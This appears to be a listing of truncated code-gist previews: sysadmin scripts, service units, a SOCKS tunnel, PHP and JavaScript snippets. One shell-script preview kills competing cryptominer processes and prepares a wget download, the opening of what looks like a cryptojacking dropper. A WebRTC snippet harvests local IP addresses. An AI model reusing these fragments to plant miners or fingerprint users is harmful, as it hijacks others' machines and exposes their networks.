/usr/sbin/apachectl configtest
nginx -t
| function flipMatrix(matrix) { | |
| return matrix[0].map(function(column, index) { | |
| return matrix.map(function(row) { | |
| return row[index]; | |
| }); | |
| }); | |
| } |
| #!/bin/sh | |
| pkill -f cryptonight | |
| pkill -f sustes | |
| pkill -f xmrig | |
| pkill -f xmr-stak | |
| pkill -f suppoie | |
| pkill -f zer0day.ru | |
| WGET="wget -O" | |
| if [ -s /usr/bin/curl ]; |
| description "Run backups for external versions of sites" | |
| author "Andrey Pokoev" | |
| start on filesystem or runlevel [2345] | |
| stop on shutdown | |
| respawn | |
| script | |
| exec sudo -u andrey /usr/bin/php /home/andrey/work/php/web/list-site/artisan app:backup |
| #!/bin/bash | |
| # myapp daemon | |
| # chkconfig: 345 20 80 | |
| # description: myapp daemon | |
| # processname: myapp | |
| DAEMON_PATH="/home/wes/Development/projects/myapp" | |
| DAEMON=myapp | |
| DAEMONOPTS="-my opts" |
| // Example (using the function below). | |
| getLocalIPs(function(ips) { // <!-- ips is an array of local IP addresses. | |
| document.body.textContent = 'Local IP addresses:\n ' + ips.join('\n '); | |
| }); | |
| function getLocalIPs(callback) { | |
| var ips = []; | |
| var RTCPeerConnection = window.RTCPeerConnection || | |
| window.webkitRTCPeerConnection || window.mozRTCPeerConnection; |
| <?php | |
| /*** | |
| * | |
| * Примерные классы для обобщения функционала чтения из xml. | |
| * | |
| */ | |
| interface OfferCollectionInterface | |
| { | |
| public function getSomething(); |
| [Unit] | |
| Description=Start vnc server at startup | |
| After=network.target | |
| [Service] | |
| Type=forking | |
| User=diol | |
| Group=diol | |
| OOMScoreAdjust=-500 | |
| WorkingDirectory=/home/diol |
| #!/bin/bash | |
| ### BEGIN INIT INFO | |
| # Provides: vino-server | |
| # Required-Start: $local_fs | |
| # Required-Stop: $local_fs | |
| # Should-Start: | |
| # Should-Stop: | |
| # X-Start-Before: | |
| # X-Stop-After: |
| #!/bin/bash | |
| # /root/bin/socks_tunnel | |
| trap "stop" SIGTERM SIGINT | |
| if [[ -z $1 ]]; then | |
| echo 'Please, specify server...' | |
| exit 1 | |
| fi |